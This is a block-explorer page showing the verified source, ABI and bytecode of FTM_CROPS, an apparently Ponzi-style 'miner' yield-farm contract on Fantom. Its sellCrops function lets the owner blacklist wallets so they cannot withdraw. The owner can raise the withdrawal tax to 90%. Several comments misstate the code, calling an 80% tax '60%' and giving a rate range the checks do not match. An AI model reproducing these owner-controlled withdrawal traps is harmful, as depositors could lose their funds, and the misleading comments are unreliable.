Contract
0x23993031b967efe4046b1ff8f1d0e3b6f453621a
8
Contract Overview
My Name Tag:
Not Available, login to update
[ Download CSV Export ]
Latest 25 internal transaction
[ Download CSV Export ]
Contract Name:
FTM_CROPS
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at FtmScan.com on 2022-05-05 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; contract FTM_CROPS { using SafeMath for uint256; /** base parameters **/ uint256 public EGGS_TO_HIRE_1MINERS = 1440000; uint256 public REFERRAL = 70; uint256 public PERCENTS_DIVIDER = 1000; uint256 private TAX = 9; uint256 private MKT = 9; uint256 public MARKET_EGGS_DIVISOR = 5; uint256 public MARKET_EGGS_DIVISOR_SELL = 2; uint256 public MIN_INVEST_LIMIT = 10 * 1e18; /** 10 FTM **/ uint256 public WALLET_DEPOSIT_LIMIT = 15000 * 1e18; /** 15,000 FTM **/ uint256 public COMPOUND_BONUS = 20; uint256 public COMPOUND_BONUS_MAX_TIMES = 10; uint256 public COMPOUND_STEP = 12 * 60 * 60; uint256 public WITHDRAWAL_TAX = 800; uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 10; uint256 public totalStaked; uint256 public totalDeposits; uint256 public totalCompound; uint256 public totalRefBonus; uint256 public totalWithdrawn; uint256 private marketEggs; uint256 PSN = 10000; uint256 PSNH = 5000; bool private contractStarted; bool public blacklistActive = true; mapping(address => bool) public Blacklisted; uint256 public CUTOFF_STEP = 48 * 60 * 60; uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60; /* addresses */ address private owner; address payable private dev1; address payable private dev2; address payable private dev3; address payable private prtnr1; address payable private prtnr2; address payable private mkt; struct User { uint256 initialDeposit; uint256 userDeposit; uint256 miners; uint256 claimedEggs; uint256 lastHatch; address referrer; uint256 referralsCount; uint256 referralEggRewards; uint256 totalWithdrawn; uint256 dailyCompoundBonus; uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap uint256 lastWithdrawTime; } mapping(address => User) public users; constructor(address payable _dev1, address payable _dev2, address payable _dev3, address payable _prtnr1, address payable _prtnr2, address payable _mkt) { require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_dev3) && !isContract(_prtnr1) && !isContract(_prtnr2) && !isContract(_mkt)); owner = msg.sender; dev1 = _dev1; dev2 = _dev2; dev3 = _dev3; prtnr1 = _prtnr1; prtnr2 = _prtnr2; mkt = _mkt; marketEggs = 144000000000; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } function setblacklistActive(bool isActive) public{ require(msg.sender == owner, "Admin use only."); blacklistActive = isActive; } function blackListWallet(address Wallet, bool isBlacklisted) public{ require(msg.sender == owner, "Admin use only."); Blacklisted[Wallet] = isBlacklisted; } function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{ require(msg.sender == owner, "Admin use only."); for(uint256 i = 0; i < Wallet.length; i++) { Blacklisted[Wallet[i]] = isBlacklisted; } } function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){ require(msg.sender == owner, "Admin use only."); blacklisted = Blacklisted[Wallet]; } function hireMoreFarmers(bool isCompound) public { User storage user = users[msg.sender]; require(contractStarted || msg.sender == mkt, "Contract not yet Started."); uint256 eggsUsed = getMyEggs(); uint256 eggsForCompound = eggsUsed; if(isCompound) { uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound); eggsForCompound = eggsForCompound.add(dailyCompoundBonus); uint256 eggsUsedValue = calculateEggSell(eggsForCompound); user.userDeposit = user.userDeposit.add(eggsUsedValue); totalCompound = totalCompound.add(eggsUsedValue); } if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) { if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) { user.dailyCompoundBonus = user.dailyCompoundBonus.add(1); } //add compoundCount for monitoring purposes. user.farmerCompoundCount = user.farmerCompoundCount .add(1); } user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS)); user.claimedEggs = 0; user.lastHatch = block.timestamp; marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR)); } function sellCrops() public{ require(contractStarted, "Contract not yet Started."); if (blacklistActive) { require(!Blacklisted[msg.sender], "Address is blacklisted."); } User storage user = users[msg.sender]; uint256 hasEggs = getMyEggs(); uint256 eggValue = calculateEggSell(hasEggs); /** if user compound < to mandatory compound days**/ if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){ //daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax. eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER)); }else{ //set daily compound bonus count to 0 and eggValue will remain without deductions user.dailyCompoundBonus = 0; user.farmerCompoundCount = 0; } user.lastWithdrawTime = block.timestamp; user.claimedEggs = 0; user.lastHatch = block.timestamp; marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL)); if(getBalance() < eggValue) { eggValue = getBalance(); } uint256 eggsPayout = eggValue.sub(payFees(eggValue)); payable(address(msg.sender)).transfer(eggsPayout); user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout); totalWithdrawn = totalWithdrawn.add(eggsPayout); } /** transfer amount of FTM **/ function hireFarmers(address ref) public payable{ require(contractStarted, "Contract not yet Started."); User storage user = users[msg.sender]; require(msg.value >= MIN_INVEST_LIMIT, "Mininum investment not met."); require(user.initialDeposit.add(msg.value) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached."); uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value)); user.userDeposit = user.userDeposit.add(msg.value); user.initialDeposit = user.initialDeposit.add(msg.value); user.claimedEggs = user.claimedEggs.add(eggsBought); if (user.referrer == address(0)) { if (ref != msg.sender) { user.referrer = ref; } address upline1 = user.referrer; if (upline1 != address(0)) { users[upline1].referralsCount = users[upline1].referralsCount.add(1); } } if (user.referrer != address(0)) { address upline = user.referrer; if (upline != address(0)) { uint256 refRewards = msg.value.mul(REFERRAL).div(PERCENTS_DIVIDER); payable(address(upline)).transfer(refRewards); users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards); totalRefBonus = totalRefBonus.add(refRewards); } } uint256 eggsPayout = payFees(msg.value); totalStaked = totalStaked.add(msg.value.sub(eggsPayout)); totalDeposits = totalDeposits.add(1); hireMoreFarmers(false); } function startFarm(address addr) public payable{ if (!contractStarted) { if (msg.sender == owner) { contractStarted = true; hireFarmers(addr); } else revert("Contract not yet started."); } } function fundContractAndHoard() public payable{ require(msg.sender == mkt, "Admin use only."); User storage user = users[msg.sender]; uint256 eggsBought = calculateEggBuy(msg.value, address(this).balance.sub(msg.value)); user.userDeposit = user.userDeposit.add(msg.value); user.initialDeposit = user.initialDeposit.add(msg.value); user.claimedEggs = user.claimedEggs.add(eggsBought); hireMoreFarmers(false); } //fund contract with FTM before launch. function fundContract() external payable {} function payFees(uint256 eggValue) internal returns(uint256){ uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER); uint256 mktng = eggValue.mul(MKT).div(PERCENTS_DIVIDER); dev1.transfer(tax); dev2.transfer(tax); dev3.transfer(tax); prtnr1.transfer(tax); prtnr2.transfer(tax); mkt.transfer(mktng); return mktng.add(tax.mul(5)); } function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){ if(users[_adr].dailyCompoundBonus == 0) { return 0; } else { uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS); uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER); return result; } } function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners, uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals, uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) { _initialDeposit = users[_adr].initialDeposit; _userDeposit = users[_adr].userDeposit; _miners = users[_adr].miners; _claimedEggs = users[_adr].claimedEggs; _lastHatch = users[_adr].lastHatch; _referrer = users[_adr].referrer; _referrals = users[_adr].referralsCount; _totalWithdrawn = users[_adr].totalWithdrawn; _referralEggRewards = users[_adr].referralEggRewards; _dailyCompoundBonus = users[_adr].dailyCompoundBonus; _farmerCompoundCount = users[_adr].farmerCompoundCount; _lastWithdrawTime = users[_adr].lastWithdrawTime; } function getBalance() public view returns(uint256){ return address(this).balance; } function getTimeStamp() public view returns (uint256) { return block.timestamp; } function getAvailableEarnings(address _adr) public view returns(uint256) { uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr)); return calculateEggSell(userEggs); } // Supply and demand balance algorithm function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){ // (PSN * bs)/(PSNH + ((PSN * rs + PSNH * rt) / rt)); PSN / PSNH == 1/2 // bs * (1 / (1 + (rs / rt))) // purchase : marketEggs * 1 / ((1 + (this.balance / eth))) // sell : this.balance * 1 / ((1 + (marketEggs / eggs))) return SafeMath.div( SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div( SafeMath.add( SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs, marketEggs, getBalance()); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth, contractBalance, marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256){ return calculateEggBuy(eth, getBalance()); } /** How many miners and eggs per day user will recieve based on FTM deposit **/ function getEggsYield(uint256 amount) public view returns(uint256,uint256) { uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount)); uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS); uint256 day = 1 days; uint256 eggsPerDay = day.mul(miners); uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount); return(miners, earningsPerDay); } function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){ return calculateTrade(eggs,marketEggs, getBalance().add(amount)); } function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) { return (totalStaked, totalDeposits, totalCompound, totalRefBonus); } function getMyMiners() public view returns(uint256){ return users[msg.sender].miners; } function getMyEggs() public view returns(uint256){ return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch); /** get min time. **/ uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP); uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime); return secondsPassed.mul(users[adr].miners); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } function CHANGE_OWNERSHIP(address value) external { require(msg.sender == owner, "Admin use only."); owner = value; } /** function CHANGE_DEV1(address value) external { require(msg.sender == owner, "Admin use only."); dev1 = payable(value); } function CHANGE_DEV2(address value) external { require(msg.sender == owner, "Admin use only."); dev2 = payable(value); } function CHANGE_DEV3(address value) external { require(msg.sender == owner, "Admin use only."); dev3 = payable(value); } function CHANGE_PARTNER1(address value) external { require(msg.sender == owner, "Admin use only."); prtnr1 = payable(value); } function CHANGE_PARTNER2(address value) external { require(msg.sender == owner, "Admin use only."); prtnr2 = payable(value); } function CHANGE_MKT(address value) external { require(msg.sender == owner, "Admin use only."); mkt = payable(value); } **/ /** percentage setters **/ // 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7% // 1080000 - 8%, 959000 - 9%, 864000 - 10%, 720000 - 12% function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 479520 && value <= 720000); /** min 3% max 12%**/ EGGS_TO_HIRE_1MINERS = value; } function PRC_TAX(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 15); TAX = value; } function PRC_MKT(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 20); MKT = value; } function PRC_REFERRAL(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 10 && value <= 100); REFERRAL = value; } function PRC_MARKET_EGGS_DIVISOR(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 50); MARKET_EGGS_DIVISOR = value; } function PRC_MARKET_EGGS_DIVISOR_SELL(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 50); MARKET_EGGS_DIVISOR_SELL = value; } function SET_WITHDRAWAL_TAX(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 900); WITHDRAWAL_TAX = value; } function BONUS_DAILY_COMPOUND(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value >= 10 && value <= 900); COMPOUND_BONUS = value; } function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 30); COMPOUND_BONUS_MAX_TIMES = value; } function BONUS_COMPOUND_STEP(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 24); COMPOUND_STEP = value * 60 * 60; } function SET_INVEST_MIN(uint256 value) external { require(msg.sender == owner, "Admin use only"); MIN_INVEST_LIMIT = value * 1e18; } function SET_CUTOFF_STEP(uint256 value) external { require(msg.sender == owner, "Admin use only"); CUTOFF_STEP = value * 60 * 60; } function SET_WITHDRAW_COOLDOWN(uint256 value) external { require(msg.sender == owner, "Admin use only"); require(value <= 24); WITHDRAW_COOLDOWN = value * 60 * 60; } function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external { require(msg.sender == owner, "Admin use only"); require(value >= 10); WALLET_DEPOSIT_LIMIT = value * 1 ether; } function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external { require(msg.sender == owner, "Admin use only."); require(value <= 12); COMPOUND_FOR_NO_TAX_WITHDRAWAL = value; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } //https://t.me/busdcropfarmer //https://ftm.cropsfarmer.online/
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address payable","name":"_dev1","type":"address"},{"internalType":"address payable","name":"_dev2","type":"address"},{"internalType":"address payable","name":"_dev3","type":"address"},{"internalType":"address payable","name":"_prtnr1","type":"address"},{"internalType":"address payable","name":"_prtnr2","type":"address"},{"internalType":"address payable","name":"_mkt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_COMPOUND_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Blacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"name":"CHANGE_OWNERSHIP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_BONUS_MAX_TIMES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"COMPOUND_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CUTOFF_STEP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EGGS_TO_HIRE_1MINERS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKET_EGGS_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MARKET_EGGS_DIVISOR_SELL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MIN_INVEST_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERCENTS_DIVIDER","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_EGGS_TO_HIRE_1MINERS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MARKET_EGGS_DIVISOR","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MARKET_EGGS_DIVISOR_SELL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_MKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_REFERRAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"PRC_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"REFERRAL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_CUTOFF_STEP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_INVEST_MIN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WALLET_DEPOSIT_LIMIT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAWAL_TAX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"SET_WITHDRAW_COOLDOWN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WALLET_DEPOSIT_LIMIT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAWAL_TAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WITHDRAW_COOLDOWN","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackListWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"Wallet","type":"address[]"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blackMultipleWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"blacklistActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"},{"internalType":"uint256","name":"contractBalance","type":"uint256"}],"name":"calculateEggBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eth","type":"uint256"}],"name":"calculateEggBuySimple","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"}],"name":"calculateEggSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"eggs","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"calculateEggSellForYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rt","type":"uint256"},{"internalType":"uint256","name":"rs","type":"uint256"},{"internalType":"uint256","name":"bs","type":"uint256"}],"name":"calculateTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Wallet","type":"address"}],"name":"checkIfBlacklisted","outputs":[{"internalType":"bool","name":"blacklisted","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundContract","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"fundContractAndHoard","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getAvailableEarnings","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getDailyCompoundBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"getEggsSinceLastHatch","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getEggsYield","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyEggs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMyMiners","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSiteInfo","outputs":[{"internalType":"uint256","name":"_totalStaked","type":"uint256"},{"internalType":"uint256","name":"_totalDeposits","type":"uint256"},{"internalType":"uint256","name":"_totalCompound","type":"uint256"},{"internalType":"uint256","name":"_totalRefBonus","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"_initialDeposit","type":"uint256"},{"internalType":"uint256","name":"_userDeposit","type":"uint256"},{"internalType":"uint256","name":"_miners","type":"uint256"},{"internalType":"uint256","name":"_claimedEggs","type":"uint256"},{"internalType":"uint256","name":"_lastHatch","type":"uint256"},{"internalType":"address","name":"_referrer","type":"address"},{"internalType":"uint256","name":"_referrals","type":"uint256"},{"internalType":"uint256","name":"_totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"_referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"_dailyCompoundBonus","type":"uint256"},{"internalType":"uint256","name":"_farmerCompoundCount","type":"uint256"},{"internalType":"uint256","name":"_lastWithdrawTime","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref","type":"address"}],"name":"hireFarmers","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"bool","name":"isCompound","type":"bool"}],"name":"hireMoreFarmers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCrops","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isActive","type":"bool"}],"name":"setblacklistActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"startFarm","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"totalCompound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRefBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"users","outputs":[{"internalType":"uint256","name":"initialDeposit","type":"uint256"},{"internalType":"uint256","name":"userDeposit","type":"uint256"},{"internalType":"uint256","name":"miners","type":"uint256"},{"internalType":"uint256","name":"claimedEggs","type":"uint256"},{"internalType":"uint256","name":"lastHatch","type":"uint256"},{"internalType":"address","name":"referrer","type":"address"},{"internalType":"uint256","name":"referralsCount","type":"uint256"},{"internalType":"uint256","name":"referralEggRewards","type":"uint256"},{"internalType":"uint256","name":"totalWithdrawn","type":"uint256"},{"internalType":"uint256","name":"dailyCompoundBonus","type":"uint256"},{"internalType":"uint256","name":"farmerCompoundCount","type":"uint256"},{"internalType":"uint256","name":"lastWithdrawTime","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526215f90060005560466001556103e8600290815560096003819055600481905560058055600691909155678ac7230489e8000060075569032d26d12e980b600000600855601490819055600a80805561a8c0600b55610320600c55600d5561271090556113886015556016805461ff0019166101001790556202a3006018556138406019553480156200009657600080fd5b50604051620022cd380380620022cd833981016040819052620000b991620001a5565b853b158015620000c85750843b155b8015620000d45750833b155b8015620000e05750823b155b8015620000ec5750813b155b8015620000f85750803b155b6200010257600080fd5b601a8054336001600160a01b031991821617909155601b805482166001600160a01b03988916179055601c8054821696881696909617909555601d8054861694871694909417909355601e8054851692861692909217909155601f8054841691851691909117905560208054909216921691909117905564218711a00060135562000226565b80516001600160a01b0381168114620001a057600080fd5b919050565b60008060008060008060c08789031215620001bf57600080fd5b620001ca8762000188565b9550620001da6020880162000188565b9450620001ea6040880162000188565b9350620001fa6060880162000188565b92506200020a6080880162000188565b91506200021a60a0880162000188565b90509295509295509295565b61209780620002366000396000f3fe6080604052600436106103b85760003560e01c80637d882097116101f2578063c63568c71161010d578063d9a3e887116100a0578063e75769431161006f578063e757694314610b68578063eb27126814610b88578063f6f6288614610ba8578063ffa4e61814610bbe57600080fd5b8063d9a3e88714610b1a578063da235b2214610b22578063da5d4cc514610b35578063e6dc955814610b4857600080fd5b8063d708c0ce116100dc578063d708c0ce14610aa4578063d7206d5d14610ac4578063d7c8843b14610ada578063d989b4b314610afa57600080fd5b8063c63568c714610a42578063c688f0fb14610a58578063cc3e9c7814610a6e578063cd329fc314610a8e57600080fd5b80639b9cb69f11610185578063bd097e2111610154578063bd097e211461046a578063bdd1ca27146109cd578063bfa9f30414610a02578063c3251b4014610a2257600080fd5b80639b9cb69f146108da5780639e9300a5146108fa578063a87430ba1461091a578063b6e6fcf61461099e57600080fd5b8063817b1cd2116101c1578063817b1cd21461086e5780638e31632714610884578063950d91e9146108a4578063959c95b3146108ba57600080fd5b80637d882097146108025780637db07c9d146108185780637e56fde51461082e5780637ee28e3c1461084e57600080fd5b806345a6a6e0116102e257806359eec895116102755780636f969d28116102445780636f969d281461078c578063752a2628146107ac5780637a62ead7146107c25780637c8e4b4c146107e257600080fd5b806359eec8951461065a5780636386c1c71461067057806364c03a5e1461075657806369b11dd51461077657600080fd5b806350637dbd116102b157806350637dbd146105f257806350cf1c7a14610612578063570c297914610625578063573862251461064557600080fd5b806345a6a6e01461056357806345f98c29146105835780634b319713146105a35780634ce87053146105b957600080fd5b80631a7b8d4f1161035a5780632b039d0e116103295780632b039d0e146105025780633578584f146105225780633a6cac7f1461053857806343ce74221461054e57600080fd5b80631a7b8d4f14610482578063229824c4146104a257806326fd8422146104c2578063298ea310146104e257600080fd5b806312065fe01161039657806312065fe0146104215780631848b8dc1461043457806318c819d81461044a578063195a73391461046c57600080fd5b806301c234a8146103bd5780630420c98e146103e65780630a76e5ed146103fc575b600080fd5b3480156103c957600080fd5b506103d360025481565b6040519081526020015b60405180910390f35b3480156103f257600080fd5b506103d3600c5481565b34801561040857600080fd5b50336000908152602160205260409020600201546103d3565b34801561042d57600080fd5b50476103d3565b34801561044057600080fd5b506103d360085481565b34801561045657600080fd5b5061046a610465366004611d77565b610bee565b005b34801561047857600080fd5b506103d360005481565b34801561048e57600080fd5b5061046a61049d366004611d92565b610d4a565b3480156104ae57600080fd5b506103d36104bd366004611dab565b610d87565b3480156104ce57600080fd5b506103d36104dd366004611dd7565b610dd4565b3480156104ee57600080fd5b5061046a6104fd366004611d92565b610dec565b34801561050e57600080fd5b5061046a61051d366004611e10565b